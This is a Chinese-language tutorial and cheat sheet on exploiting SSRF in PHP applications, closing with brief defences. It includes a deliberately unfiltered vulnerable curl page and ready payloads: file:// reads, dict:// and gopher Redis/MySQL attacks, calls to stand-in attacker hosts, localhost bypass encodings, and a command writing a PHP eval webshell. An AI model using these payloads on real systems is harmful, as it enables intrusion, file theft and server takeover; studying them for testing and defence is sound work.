1.ssrf利用姿势

1. 什么是SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

简单来说就是欺骗服务器对内网发送请求
SSRF(服务器端请求伪造)与文件包含类似,两者都可以被用来访问外部或内部内容。区别在于
- 文件包含漏洞依赖于代码包含函数(例如 PHP 中的 include() ),
- SSRF 则依赖于仅处理数据的函数(例如 PHP 中的
file_get_contents()、fopen()、fread()、fsockopen()、curl_exec()),这意味着文件包含漏洞通常比 SSRF 更容易导致远程代码执行(RCE)
1.1. 可能引起php相关函数和类
- file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
- readfile():输出一个文件的内容
- fsockopen():打开一个网络连接或者一个Unix 套接字连接
- curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt() curl_exec()和curl_close() 函数使用
- fopen():打开一个文件文件或者 URL
- PHP原生类SoapClient在触发反序列化时可导致SSRF
| 函数 | 说明 | SSRF 如何利用 |
|---|---|---|
file_get_contents() |
读取文件或远程 URL 内容 | 如果传入 http:// 或 ftp:// 地址,服务器就会主动请求外部 URL,可被 SSRF 利用。 |
fopen() |
打开文件或 URL | 支持 http://、ftp:// 等协议,也会导致服务器对内网或外网发起请求。 |
fread() |
读取打开的文件流 | 通常配合 fopen() 使用,间接参与 SSRF(因为流是远程资源)。 |
fsockopen() |
打开一个网络连接(低层 TCP 连接) | 可以精细控制请求,如直接连接内网服务(127.0.0.1:6379),非常适合 SSRF 内网探测。 |
curl_exec() |
执行一个 cURL 会话 | cURL 支持几乎所有协议,最常见的 SSRF 入口,而且支持请求头伪造、POST 请求等进阶攻击。 |
1.2. 常用协议
- file协议读文件: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher万能协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
- http/s协议探存活:探测内网主机存活

1.3. SSRF漏洞的危害
- 内网信息泄露:对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
- 内网应用攻击:攻击运行在内网或者本地的应用程序
- 内网资源下载:利用 file:// 协议、SSRF、LFI 等手段,下载和读取内网文件或配置数据
- Redis未授权攻击:利用 gopherus ,对redis进行利用
- 内网跳板
- 无视CDN真实IP探测
1.4. 常见SSRF的地方
- 云服务器商。(各种网站数据库操作)
- 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
- 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
- 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
- 一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。
1.5. 漏洞网页代码演示
我本地创建了一个没有任何过滤的ssrf的漏洞测试网页
SSRF 参数URL
<?php
error_reporting(E_ALL ^ E_NOTICE);
function curl($url){
$ch = curl_init();//初始化curl会话
curl_setopt($ch,CURLOPT_URL,$url);//指定请求的url
curl_setopt($ch,CURLOPT_HEADER,0);// 启用时会将头文件的信息作为数据流输出。参数为1表示输出信息头,为0表示不输出
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
2. SSRF常见协议利用
SSRF最常见的用法就是通过不同的协议去对内网发起请求,然后进行利用
file:
读取服务器上任意文件内容
?url=file:///etc/password
?url=file://C://pass.txt
dict:
?url=dict://127.0.0.1:6379/info
dict://@:/d:可以用来操作内网Redis等服务ssrf.php?url=dict://attacker:11111/ 字典协议自带头尾,限制较大,不能转化成GET或者POST的请求包。
ftp、ftps:FTP匿名访问、爆破
?url=ftp://anonymous:anonymous@192.168.0.10/
tftp:UDP协议扩展
?url=tftp://192.168.0.10/boot.cfg
imap/imaps/pop3/pop3s/smtp/smtps:爆破邮件用户名密码
?url=imap://user:pass@192.168.0.10/
phar:// 协议来触发反序列化漏洞
?url=phar:///var/www/html/malicious.phar
telnet:SSH/Telnet匿名访问及爆破
?url=telnet://192.168.0.10:23/
smb/smbs:SMB匿名访问及爆破
?url=smb://attacker.com/share
LDAP:ldap:// or ldaps:// or ldapi:// 代表轻量级目录访问协议
?url=ldap://127.0.0.1:389
Gopher:gopher:// 非常强大的协议,支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
推荐使用 gopherus
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%24%34%0D%0AINFO%0D%0A
3. SSRF无回显怎么办
3.1. 3.1.出网
- dnslog 查看是否可以出网
3.2. 不出网
如果目标不出网,则可以根据返回包的特征来进行判断,如目标端口开放响应时间200Ms,未开放则响应时间1000ms等
4. SSRF常见利用场景
4.1. SSRF打Redis
4.1.1. 不出网 带认证的redis
4.1.2. dict协议打
不适合复杂的命令
http://192.168.8.9/okssrf.php?url=dict://127.0.0.1:6379/info
info可以换成任意redis命令

更多redis利用看 1.redis未授权利用方式
4.1.3. gopher协议打
python2 gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/webshell.php';


记得对 _ 后面的在进行一次url编码,避免出现特殊字符
然后用哥斯拉连接就行了
5. SSRF绕过&案例
5.1. 黑名单绕过
- IP转换
http://127.1
http://0
http:@0/
http://0.0.0.0:80
http://[::]:80/
http://[0000::1]:80/
http://2130706433 # Decimal version of localhost
http://0x7f000001/ # Hexadecimal version of localhost
- 使用 URL 编码混淆字符串,有时候可以双重 URL 编码
- 域名解析
5.2. 白名单绕过
https://{url}@{target_host}
https://{target_host}#{url}
https://{url}.{target_host}
ORED(开放重定向)组合
通过 SSRF 漏洞请求 ORED 漏洞页面,然后由于过滤较弱的开放重定向,继续被重定向到实际的目标页面

6. SSRF漏洞常用防御方法
SSRF漏洞最大的成因是URL完全可控,导致服务器会访问我们构造好的url。所以需要着重限制用户构造的URL。
- 过滤。获取到资源前先在服务器端检验是否包含敏感内容,通过后再传给用户。
- 禁止跳转。防止用户利用服务器做跳板机
- 禁用不需要的协议。如只开放HTTPS,这样就无法利用FILE读文件以及其他协议。
- 限制端口。只开发常用端口
- 统一返回的错误信息。这样用户就不可以根据返回信息判断端口情况。
- 使用DNS缓存技术防止DNS解析攻击
- 使用正则防止畸形绕过